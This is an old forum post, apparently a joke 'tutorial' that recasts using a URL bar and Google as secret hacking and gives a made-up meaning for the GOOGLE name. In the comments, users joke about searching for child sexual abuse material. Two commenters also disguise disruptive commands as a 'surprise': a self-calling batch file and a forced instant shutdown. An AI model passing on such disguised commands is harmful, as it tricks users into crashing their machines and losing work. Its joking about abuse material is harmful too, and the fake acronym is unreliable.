Secrets of the Internet 2

Posted by ark on Oct. 11, 2008, 11:32 p.m.

Have you ever been bored. Wanted to find out more about the extinct dodo birds, or something else? Well i have a solution for you!

Get ready for some major work here, because today I'm teaching you how to find ANYTHING on the internet!

Step one, open up your browser. Now, since working with computers for a very long time ive learned one valuable thing. At the top of every browser, there is a bar, where you can input secret code. Most people call this the URL bar, but i like to call it, the "Coderater."

Now watch, if you type "www.google.com" into the Coderater, you will notice a the word GOOGLE show up, then a box under it. Now, after years of investigation, I've learned that this "GOOGLE" actually means: "Great Ovation Of Lingering Effects." "Internet hacker" for short. Now watch, If you type lets say the code word "camels" into that secret box under "GOOGLE" and press enter. You will notice a bunch of code. If you click on one of these codes, it will take you to a "site." Pretty much, a "site" is a portal into human knowledge, and will tell you whatever you want. How cool!

So, tell your friends, and get hacking the interweb, and remember this Secret was brought to you by Ark!

Stay in school!

Comments

[deleted user] 15 years, 7 months ago

Quote:
Doesn't work for child porn.

Your tutorial fails

Tutorial courtesy of 2chan (and sort of ED, but ED is full of BAWWWWW and stupid idiots);

frenchcon1 15 years, 7 months ago

Quote:
Doesn't work for child porn.

Your tutorial fails

Turn off safe search.

Lapixx 15 years, 7 months ago

OMG thank you for this have you any idea if it is legal thx

Lapixx 15 years, 7 months ago

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RetroX 15 years, 7 months ago

Hey, here's another secret code.

Open notepad, and make a file called "secretcoedz.bat." Then, type "secretcoedz.bat" in that file. Save, open it, and you get a surprise!

Cpsgames 15 years, 7 months ago

Hey, here's another secret code.

Open notepad, and make a file called "secretcoedz.bat." Then, type "shutdown -s -f -t0" in that file. Save, open it, and you get a surprise!